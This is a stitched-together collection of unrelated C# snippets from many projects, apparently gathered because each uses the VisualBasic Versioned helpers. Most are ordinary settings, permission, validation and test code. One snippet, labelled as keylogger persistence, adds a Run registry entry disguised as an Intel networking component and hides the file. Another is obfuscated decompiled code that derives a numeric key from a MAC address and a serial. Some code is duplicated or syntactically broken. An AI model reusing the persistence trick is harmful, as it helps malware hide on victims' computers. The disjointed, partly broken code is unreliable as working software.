public static string GetMessageKey(this MessageAttribute message, object value) => message? .Id? .ToString()? .Split('.') .Aggregate(value, (from, name) => Versioned.CallByName(from, name, CallType.Get))? .ToString();
public static new ActionMessage ReadFrom(System.IO.BinaryReader reader) { var result = new ActionMessage(); result.Action = Versioned.ReadFrom(reader); return(result); }
public virtual async Task <Versioned <AdminPermissionsForClient> > PermissionsForClient(CancellationToken cancellation) { await Initialize(cancellation); // Retrieve the user permissions and their current version var(version, permissions) = await _repo.Permissions__Load(UserId, cancellation); // Arrange the permission in a DTO that is easy for clients to consume var permissionsForClient = new AdminPermissionsForClient { Permissions = permissions.Select(p => new UserPermission { Action = p.Action, Criteria = p.Criteria, View = p.View }) }; // Tag the permissions for client with their current version var result = new Versioned <AdminPermissionsForClient> ( version: version.ToString(), data: permissionsForClient ); // Return the result return(result); }
public string GetAttribute(string sTagName, string sKey, string sDefaut = "") { string text = ""; try { XmlNodeList elementsByTagName = this.m_objXMLDoc.GetElementsByTagName(sTagName); if (elementsByTagName.Count > 0) { text = elementsByTagName[0].Attributes[sKey].Value; if (Versioned.IsNumeric(text)) { text = Strings.FormatNumber(Conversions.ToDouble(text), 0, TriState.UseDefault, TriState.UseDefault, TriState.UseDefault).ToString(); } } if (string.IsNullOrEmpty(text)) { text = sDefaut; } } catch (Exception expr_65) { ProjectData.SetProjectError(expr_65); ProjectData.ClearProjectError(); } return(text); }
// Token: 0x0600016F RID: 367 RVA: 0x00007A20 File Offset: 0x00005C20 public static string smethod_6(string string_0, string string_1) { checked { string result; if (string_1.Length >= 10 && Versioned.IsNumeric(string_1.Substring(1, 9))) { string text = string_0.Replace(":", ""); ulong value = (ulong)Convert.ToInt64(text, 16); text = Convert.ToUInt64(decimal.Subtract(new decimal(value), 2m)).ToString("X12"); string text2 = string_1.Substring(1, 9); byte[] array = new byte[12]; int num = 0; do { array[11 - num] = (byte)Convert.ToInt32(text.Substring(num, 1), 16); num++; }while (num <= 11); byte[] array2 = new byte[9]; int num2 = 0; do { array2[8 - num2] = (byte)Convert.ToInt32(text2.Substring(num2, 1), 16); num2++; }while (num2 <= 8); int num3; int num4; unchecked { num3 = (int)((array2[2] + array2[3] + array[0] + array[1]) % 16); num4 = (int)((array2[0] + array2[1] + array[2] + array[3]) % 16); } byte[] array3 = new byte[] { (byte)((num3 ^ (int)array2[0]) % 16), (byte)((num3 ^ (int)array2[1]) % 16), (byte)((num4 ^ (int)array[2]) % 16), (byte)((num4 ^ (int)array[1]) % 16), (array[1] ^ array2[0]) % 16, (array[0] ^ array2[1]) % 16, (byte)((num3 ^ (int)array2[2]) % 16) }; string text3 = ""; int num5 = 0; do { text3 += Conversion.Hex(array3[num5]); num5++; }while (num5 <= 6); text3 = (Convert.ToInt32(text3, 16) % 10000000).ToString(); text3 += Conversions.ToString(GClass3.smethod_0(Conversions.ToInteger(text3.PadLeft(7, '0')))); result = text3.PadLeft(8, '0'); } else { result = ""; } return(result); } }
internal static void Start(string[] args) { //var win = new ShareDeck(); //win.ShowDialog(); //return; var launcher = CommandLineHandler.Instance.HandleArguments(Environment.GetCommandLineArgs()); DeveloperMode = CommandLineHandler.Instance.DevMode; Versioned.Setup(Program.DeveloperMode); /* This section is automatically generated from the file Scripting/ApiVersions.xml. So, if you enjoy not getting pissed off, don't modify it.*/ //START_REPLACE_API_VERSION Versioned.RegisterVersion(Version.Parse("3.1.0.0"), DateTime.Parse("2014-1-12"), ReleaseMode.Live); Versioned.RegisterVersion(Version.Parse("3.1.0.1"), DateTime.Parse("2014-1-22"), ReleaseMode.Test); Versioned.RegisterFile("PythonApi", "pack://application:,,,/Scripting/Versions/3.1.0.0.py", Version.Parse("3.1.0.0")); Versioned.RegisterFile("PythonApi", "pack://application:,,,/Scripting/Versions/3.1.0.1.py", Version.Parse("3.1.0.1")); //END_REPLACE_API_VERSION Versioned.Register <ScriptApi>(); launcher.Launch(); if (launcher.Shutdown) { if (Application.Current.MainWindow != null) { Application.Current.MainWindow.Close(); } return; } }
public virtual async Task <Versioned <PermissionsForClientViews> > PermissionsForClient(CancellationToken cancellation) { // Retrieve the user permissions and their current version var(version, permissions) = await _repo.Permissions__Load(cancellation); // Arrange the permission in a DTO that is easy for clients to consume var permissionsForClient = new PermissionsForClientViews(); foreach (var gView in permissions.GroupBy(e => e.View)) { string view = gView.Key; Dictionary <string, bool> viewActions = gView .GroupBy(e => e.Action) .ToDictionary(g => g.Key, g => true); permissionsForClient[view] = viewActions; } // Tag the permissions for client with their current version var result = new Versioned <PermissionsForClientViews> ( version: version.ToString(), data: permissionsForClient ); // Return the result return(result); }
public async Task <Versioned <AdminSettingsForClient> > SettingsForClient(CancellationToken cancellation) { await Initialize(cancellation); // Simply retrieves the cached settings, which were refreshed by AdminApiAttribute var adminSettings = await _repo.Settings__Load(cancellation); if (adminSettings == null) { throw new ServiceException("Admin Settings were not initialized."); } var adminSettingsForClient = new AdminSettingsForClient { CreatedAt = adminSettings.CreatedAt }; var result = new Versioned <AdminSettingsForClient> ( data: adminSettingsForClient, version: adminSettings.SettingsVersion.ToString() ); return(result); }
// Helper methods //private async Task<GetEntityResponse<Settings>> GetImpl(GetByIdArguments args) //{ // var settings = await _repo.Settings // .Select(args.Select) // .Expand(args.Expand) // .OrderBy("PrimaryLanguageId") // .FirstOrDefaultAsync(); // if (settings == null) // { // // Programmer mistake // throw new BadRequestException("Settings have not been initialized"); // } // var result = new GetEntityResponse<Settings> // { // Result = settings, // }; // return result; //} //private void ValidateAndPreprocessSettings(SettingsForSave entity) //{ // if (!string.IsNullOrWhiteSpace(entity.SecondaryLanguageId) || !string.IsNullOrWhiteSpace(entity.TernaryLanguageId)) // { // if (string.IsNullOrWhiteSpace(entity.PrimaryLanguageSymbol)) // { // ModelState.AddModelError(nameof(entity.PrimaryLanguageSymbol), // _localizer[Services.Utilities.Constants.Error_RequiredField0, _localizer["Settings_PrimaryLanguageSymbol"]]); // } // } // if (string.IsNullOrWhiteSpace(entity.SecondaryLanguageId)) // { // entity.SecondaryLanguageSymbol = null; // } // else // { // if (string.IsNullOrWhiteSpace(entity.SecondaryLanguageSymbol)) // { // ModelState.AddModelError(nameof(entity.SecondaryLanguageSymbol), // _localizer[Services.Utilities.Constants.Error_RequiredField0, _localizer["Settings_SecondaryLanguageSymbol"]]); // } // if (entity.SecondaryLanguageId == entity.PrimaryLanguageId) // { // ModelState.AddModelError(nameof(entity.SecondaryLanguageId), // _localizer["Error_SecondaryLanguageCannotBeTheSameAsPrimaryLanguage"]); // } // } // if (string.IsNullOrWhiteSpace(entity.TernaryLanguageId)) // { // entity.TernaryLanguageSymbol = null; // } // else // { // if (string.IsNullOrWhiteSpace(entity.TernaryLanguageSymbol)) // { // ModelState.AddModelError(nameof(entity.TernaryLanguageSymbol), // _localizer[Services.Utilities.Constants.Error_RequiredField0, _localizer["Settings_TernaryLanguageSymbol"]]); // } // if (entity.TernaryLanguageId == entity.PrimaryLanguageId) // { // ModelState.AddModelError(nameof(entity.TernaryLanguageId), // _localizer["Error_TernaryLanguageCannotBeTheSameAsPrimaryLanguage"]); // } // if (entity.TernaryLanguageId == entity.SecondaryLanguageId) // { // ModelState.AddModelError(nameof(entity.TernaryLanguageId), // _localizer["Error_TernaryLanguageCannotBeTheSameAsSecondaryLanguage"]); // } // } // // Make sure the color is a valid HTML color // // Credit: https://bit.ly/2ToV6x4 // if (!string.IsNullOrWhiteSpace(entity.BrandColor) && !Regex.IsMatch(entity.BrandColor, "^#(?:[0-9a-fA-F]{3}){1,2}$")) // { // ModelState.AddModelError(nameof(entity.BrandColor), // _localizer["Error_TheField0MustBeAValidColorFormat", _localizer["Settings_BrandColor"]]); // } //} public static async Task <Versioned <AdminSettingsForClient> > LoadSettingsForClient(AdminRepository repo, CancellationToken cancellation) { var settings = await repo.Settings__Load(cancellation); if (settings == null) { // This should never happen throw new BadRequestException("AdminSettings have not been initialized"); } // Prepare the settings for client AdminSettingsForClient settingsForClient = new AdminSettingsForClient(); foreach (var forClientProp in typeof(AdminSettingsForClient).GetProperties()) { var settingsProp = typeof(AdminSettings).GetProperty(forClientProp.Name); if (settingsProp != null) { var value = settingsProp.GetValue(settings); forClientProp.SetValue(settingsForClient, value); } } // Tag the settings for client with their current version var result = new Versioned <AdminSettingsForClient> ( version: settings.SettingsVersion.ToString(), data: settingsForClient ); return(result); }
/// <summary> /// Get string value of specified member of each item in a list as type T /// </summary> /// <typeparam name="T"></typeparam> /// <param name="list"></param> /// <param name="memberName"></param> /// <returns></returns> /// <remarks></remarks> public static IEnumerable <T> DebugMembers <T>(this IEnumerable list, string memberName) { var res = from object x in list select Versioned.CallByName(x, memberName, CallType.Get); return(res.Cast <T>()); }
private static void HydrateObject(object objObject, IDataReader dr) { ArrayList propertyInfo = CBO.GetPropertyInfo(objObject.GetType()); int[] ordinals = CBO.GetOrdinals(propertyInfo, dr); int num1 = 0; int num2 = checked (propertyInfo.Count - 1); int index = num1; while (index <= num2) { PropertyInfo objPropertyInfo = (PropertyInfo)propertyInfo[index]; Type propertyType = objPropertyInfo.PropertyType; if (objPropertyInfo.CanWrite && ordinals[index] != -1) { object objectValue = RuntimeHelpers.GetObjectValue(dr.GetValue(ordinals[index])); Type type = objectValue.GetType(); if (Information.IsDBNull(RuntimeHelpers.GetObjectValue(objectValue))) { objPropertyInfo.SetValue(RuntimeHelpers.GetObjectValue(objObject), RuntimeHelpers.GetObjectValue(Null.SetNull(objPropertyInfo)), (object[])null); } else if (propertyType.Equals(type)) { objPropertyInfo.SetValue(RuntimeHelpers.GetObjectValue(objObject), RuntimeHelpers.GetObjectValue(objectValue), (object[])null); } else { try { if (propertyType.BaseType.Equals(typeof(Enum))) { if (Versioned.IsNumeric(RuntimeHelpers.GetObjectValue(objectValue))) { objPropertyInfo.SetValue(RuntimeHelpers.GetObjectValue(objObject), RuntimeHelpers.GetObjectValue(Enum.ToObject(propertyType, Convert.ToInt32(RuntimeHelpers.GetObjectValue(objectValue)))), (object[])null); } else { objPropertyInfo.SetValue(RuntimeHelpers.GetObjectValue(objObject), RuntimeHelpers.GetObjectValue(Enum.ToObject(propertyType, RuntimeHelpers.GetObjectValue(objectValue))), (object[])null); } } else if (propertyType.FullName.Equals("System.Guid")) { objPropertyInfo.SetValue(RuntimeHelpers.GetObjectValue(objObject), RuntimeHelpers.GetObjectValue(Convert.ChangeType((object)new Guid(objectValue.ToString()), propertyType)), (object[])null); } else { objPropertyInfo.SetValue(RuntimeHelpers.GetObjectValue(objObject), RuntimeHelpers.GetObjectValue(objectValue), (object[])null); } } catch (Exception ex) { ProjectData.SetProjectError(ex); objPropertyInfo.SetValue(RuntimeHelpers.GetObjectValue(objObject), RuntimeHelpers.GetObjectValue(Convert.ChangeType(RuntimeHelpers.GetObjectValue(objectValue), propertyType)), (object[])null); ProjectData.ClearProjectError(); } } } checked { ++index; } } }
public void TypeName_ComObject(string progId, string expected) { Type type = Type.GetTypeFromProgID(progId, true); object expression = Activator.CreateInstance(type); Assert.Equal(expected, Versioned.TypeName(expression)); }
public void CallByName(object instance, string methodName, CallType useCallType, object[] args, Func <object, object> getResult, object expected) { Assert.Equal(getResult is null ? expected : null, Versioned.CallByName(instance, methodName, useCallType, args)); if (getResult != null) { Assert.Equal(expected, getResult(instance)); } }
/// <summary> /// Get string value of specified member of each item in a list as type T /// </summary> /// <typeparam name="T"></typeparam> /// <param name="list"></param> /// <param name="memberName"></param> /// <returns></returns> /// <remarks></remarks> public static IEnumerable <T> DebugMembers <T>(this IEnumerable list, string memberName) { var sb = new List <T>(); var res = from object x in list select Versioned.CallByName(x, memberName, Microsoft.VisualBasic.CallType.Get); return(res.Cast <T>()); }
public void Record(string str) { // Keylogger peristence = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run // Record: Intel(R) Common Networking System RuntimeHelpers.GetObjectValue(Versioned.CallByName(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Versioned.CallByName((object) MyProject.Computer, "Registry", CallType.Get))), "SetValue", CallType.Method, (object) "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"), (object) "Intel(R) Common Networking System"), (object) str)); File.SetAttributes(str, FileAttributes.Hidden); }
public override object ConvertFrom(ITypeDescriptorContext context, CultureInfo culture, object value) { if (Versioned.IsNumeric((object)Conversions.ToString(value))) { return((object)Hues.GetHue(Conversions.ToInteger(value))); } return((object)Hues.GetHue(HexHelper.HexToDec(Conversions.ToString(value)))); }
public static void validaInt(ref object objDestino, object valor) { if (!Versioned.IsNumeric(RuntimeHelpers.GetObjectValue(valor))) { return; } objDestino = (object)Conversions.ToInteger(valor); }
public static new ActionMessage ReadFrom(System.IO.BinaryReader reader) { if (reader == null) { throw new System.ArgumentNullException(nameof(reader)); } return(new ActionMessage(Versioned.ReadFrom(reader))); }
public void Get_Throws_IfVersionNotRegistered() { SetDebug(false); Versioned.Setup(false); Assert.Throws <InvalidOperationException>(() => { var g = Versioned.Get <TestTypeBase>(new Version(3, 1, 0, 0)); }); }
/// <summary> /// Like DebugMember, but with two members /// </summary> /// <param name="list"></param> /// <param name="memberName"></param> /// <param name="secondMemberName"></param> /// <returns></returns> /// <remarks></remarks> public static object DebugMembers(this IEnumerable list, string memberName, string secondMemberName) { var res = from object x in list select new { Member1 = Versioned.CallByName(x, memberName, CallType.Get), Member2 = Versioned.CallByName(x, secondMemberName, CallType.Get) }; return(res.ToArray()); }
public void Get_Throws_IfTypeRegisteredType() { SetDebug(false); Versioned.Setup(false); Versioned.RegisterVersion(new Version(3, 1, 0, 0), DateTime.MinValue, ReleaseMode.Live); Assert.Throws <InvalidOperationException>(() => { var g = Versioned.Get <TestTypeBase>(new Version(3, 1, 0, 0)); }); }
public int Compare(object x, object y) { ListViewItem listViewItem = (ListViewItem)x; ListViewItem listViewItem2 = (ListViewItem)y; string text; if (listViewItem.SubItems.Count <= this.int_0) { text = ""; } else { text = listViewItem.SubItems[this.int_0].Text; } string text2; if (listViewItem2.SubItems.Count <= this.int_0) { text2 = ""; } else { text2 = listViewItem2.SubItems[this.int_0].Text; } int result; if (this.sortOrder_0 == SortOrder.Ascending) { if (Versioned.IsNumeric(text) & Versioned.IsNumeric(text2)) { result = Conversion.Val(text).CompareTo(Conversion.Val(text2)); } else if (Information.IsDate(text) & Information.IsDate(text2)) { result = DateTime.Parse(text).CompareTo(DateTime.Parse(text2)); } else { result = string.Compare(text, text2); } } else if (Versioned.IsNumeric(text) & Versioned.IsNumeric(text2)) { result = Conversion.Val(text2).CompareTo(Conversion.Val(text)); } else if (Information.IsDate(text) & Information.IsDate(text2)) { result = DateTime.Parse(text2).CompareTo(DateTime.Parse(text)); } else { result = string.Compare(text2, text); } return(result); }
/// <summary> /// Get string representation of Type.Member value /// </summary> /// <typeparam name="T"></typeparam> /// <param name="list"></param> /// <param name="memberName"></param> /// <returns></returns> /// <remarks></remarks> public static string DebugMember <T>(this IEnumerable <T> list, string memberName) { var sb = new StringBuilder(); foreach (var x in list) { var text = Versioned.CallByName(x, memberName, Microsoft.VisualBasic.CallType.Get).ToString(); sb.AppendLine(text); } return(sb.ToString()); }
public void MainTest() { using (var session = Domain.OpenSession()) using (session.OpenTransaction()) { var v = new Versioned(); var originalVersion = v.Version; v.Description = "foo"; Assert.That(originalVersion, Is.EqualTo(v.Version)); v.Title = "bar"; Assert.That(originalVersion, Is.Not.EqualTo(v.Version)); } }
public void ValidVersion_ReturnsFalseIfVersionNotRegistered() { SetDebug(false); Versioned.Setup(false); Versioned.RegisterVersion(new Version(3, 1, 0, 0), DateTime.MinValue, ReleaseMode.Live); Versioned.Register <TestTypeBase>(); var val = Versioned.ValidVersion(new Version(3, 1, 0, 1)); Assert.False(val); }
private static bool OkToSave() { bool flag; if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(mdUtility.fMainForm.txtBuildingNumber.Text, "", false) == 0 & Microsoft.VisualBasic.CompilerServices.Operators.CompareString(mdUtility.fMainForm.txtBuildingName.Text, "", false) == 0) { int num = (int)Interaction.MsgBox((object)"You must enter a Bldg No. or a Bldg. Name.", MsgBoxStyle.Critical, (object)"Missing Required Field."); flag = false; } else if (!Versioned.IsNumeric((object)mdUtility.fMainForm.txtYearBuilt.Text)) { int num = (int)Interaction.MsgBox((object)"You must enter a valid year in for the built year.", MsgBoxStyle.Critical, (object)null); flag = false; } else if (Conversions.ToInteger(mdUtility.fMainForm.txtYearBuilt.Text) < 1750 | Conversions.ToInteger(mdUtility.fMainForm.txtYearBuilt.Text) > 2100) { int num = (int)Interaction.MsgBox((object)"You must enter a valid year for the built year.", MsgBoxStyle.Critical, (object)null); flag = false; } else if (!Versioned.IsNumeric((object)mdUtility.fMainForm.txtNoFloors.Text)) { int num = (int)Interaction.MsgBox((object)"You must enter a valid number for the floor count.", MsgBoxStyle.Critical, (object)null); flag = false; } else if (!Versioned.IsNumeric((object)mdUtility.fMainForm.txtBldgArea.Text)) { int num = (int)Interaction.MsgBox((object)"You must enter a valid quantity for the Bldg Area.", MsgBoxStyle.Critical, (object)null); flag = false; } else if ((uint)Microsoft.VisualBasic.CompilerServices.Operators.CompareString(mdUtility.fMainForm.txtYearRenovated.Text, "", false) > 0U) { if (!Versioned.IsNumeric((object)mdUtility.fMainForm.txtYearRenovated.Text)) { int num = (int)Interaction.MsgBox((object)"You must enter a valid year for the year renovated.", MsgBoxStyle.Critical, (object)null); flag = false; } else if (Conversions.ToInteger(mdUtility.fMainForm.txtYearRenovated.Text) < Conversions.ToInteger(mdUtility.fMainForm.txtYearBuilt.Text)) { int num = (int)Interaction.MsgBox((object)"Year Renovated must be later than the Year Built.", MsgBoxStyle.Critical, (object)null); flag = false; } else { flag = true; } } else { flag = true; } return(flag); }
public void Get_ReturnsProperVersionInLive() { SetDebug(false); Versioned.Setup(false); Versioned.RegisterVersion(new Version(3, 1, 0, 0), DateTime.MinValue, ReleaseMode.Live); Versioned.RegisterVersion(new Version(3, 1, 0, 1), DateTime.MinValue, ReleaseMode.Test); Versioned.Register <TestTypeBase>(); var val = Versioned.Get <TestTypeBase>(new Version(3, 1, 0, 0)); Assert.AreEqual(typeof(TestType_3_1_0_0), val.GetType()); }
public void ValidVersion_WorksProperlyForDeveloperMode() { SetDebug(true); Versioned.Setup(false); Versioned.RegisterVersion(new Version(3, 1, 0, 0), DateTime.MinValue, ReleaseMode.Live); Versioned.RegisterVersion(new Version(3, 1, 0, 1), DateTime.MinValue, ReleaseMode.Test); Versioned.Register <TestTypeBase>(); var val = Versioned.ValidVersion(new Version(3, 1, 0, 1)); Assert.True(val); }
private void cmdSetWeightManual_Click(object eventSender, EventArgs eventArgs) { if (!Versioned.IsNumeric(this.txtWeight.Text) | !Versioned.IsNumeric(this.txtVarNo.Text)) { MiscFUncs.MsgBox_Renamed("Not a number", 0x30, "Not a number"); } else { this.m_TempWeights[Conversions.ToInteger(this.txtVarNo.Text)] = Conversions.ToSingle(this.txtWeight.Text); this.DisplayWeights(); this.lblWeightSum.Text = Support.Format(Conversions.ToString(this.ComputeWeightSum()), "#.###", FirstDayOfWeek.Sunday, FirstWeekOfYear.Jan1); } }
private void TextBox2_TextChanged(object sender, EventArgs e) { TextBox textBox = (TextBox)sender; if (Versioned.IsNumeric((object)textBox.Text)) { this.ReadCount = checked ((uint)Math.Round(Conversion.Val(textBox.Text))); } else { textBox.Text = this.ReadCount.ToString(); } }